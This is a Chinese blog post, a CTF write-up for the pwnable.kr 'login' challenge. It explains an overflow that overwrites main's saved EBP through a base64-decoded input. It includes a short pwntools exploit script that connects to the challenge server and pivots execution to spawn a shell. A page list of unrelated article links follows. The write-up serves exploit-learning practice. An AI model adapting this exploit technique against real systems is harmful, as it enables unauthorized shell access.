main函数如下:

auth函数如下:

程序的流程如下:

  1. 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中

  2. mad5_auth()生成其MD5值并与f87cd601aa7fedca99018a8be88eda34相比,如果相等则调用correct函数,得到shell

找12个字符进行base64加密:

将值输入找到溢出点:

发现AAAA覆盖了main函数的ebp,程序执行到leave出错。

leave相当于以下两条指令

指令 含义
MOV ESP, EBP EBP的值赋给ESP,即将栈指针移动至栈底部
POP EBP 弹出保存在栈顶的前一个函数的EBP,即恢复栈桢

第一条指令会把ESP的值赋为0x41414141,而这个地址是不合法的,显然不能作为栈的地址,因此会报错

这个溢出的利用方法简单,把main函数的EBP覆写为一个可以访问的我们可以控制的值即可。

利用写出exp,第一次自己写exp哦,虽然是简单的,但还是很开心:

#!/usr/bin/python
from pwn import *
#p=process('./login')
p=remote('pwnable.kr',9003)
#sysadr=0x08049278
#inputadr=0x0811EB40
payload=(p32(0xdeadbeef)+p32(0x08049278)+p32(0x0811EB40)).encode('base64')
p.recvuntil('Authenticate :' )
p.sendline(payload)
p.interactive()

一直不明白0xdeadbeef是什么作用,今天请教了师傅,终于弄明白了:

因为输入的起始地址并不是直接从返回地址被存放的位置开始的,那前面那些没什么作用的栈空间就要被填充
如果我用的是process那么就是启动本地程序,拿到的就是本地的shell。

最新文章

  1. web项目中各种路径的获取
  2. Java RMI之HelloWorld篇
  3. 洛谷P1373 小a和uim之大逃离[背包DP]
  4. 原生js拖拽
  5. gridview的行选择的一个问题
  6. silverlight简单数据绑定3
  7. 【Android】android中Invalidate和postInvalidate的区别
  8. 项目二:使用机器学习(SVM)进行基因预测
  9. git push
  10. 第六届华为创新杯编程大赛-进阶1第1轮 洞穴逃生 (bfs + 优先队列)
  11. showModalDialog-父窗体子窗体
  12. C++程序设计实践指导1.2二维数组的操作运算改写要求实现
  13. java中遍历map对象的多种方法
  14. apt-get 命令详解(中文),以及实例
  15. Shell脚本运行hive语句 | hive以日期建立分区表 | linux schedule程序 | sed替换文件字符串 | shell推断hdfs文件文件夹是否存在
  16. hdu 4885 (n^2*log(n)推断三点共线建图)+最短路
  17. 【转】JDBC学习笔记(2)——Statement和ResultSet
  18. angular4——安装
  19. 遍历对象属性(for in、Object.keys、Object.getOwnProperty)
  20. css 椭圆样式

热门文章

  1. jvm内存模型的理解
  2. spring <context:annotation-config> 跟 <context:component-scan>诠释及区别
  3. 张高兴的 UWP 开发笔记:手机状态栏 StatusBar
  4. python基础条件和循环
  5. 【转】话说C语言const用法
  6. jquery入门知识点总结(转)
  7. 使用速卖通开放平台云API调用菜鸟组件实现云打印
  8. web开发|如何选择合适的webui框架
  9. 博客迁移至 http://www.loveli.site
  10. ASP.NET Core中的OWASP Top 10 十大风险-SQL注入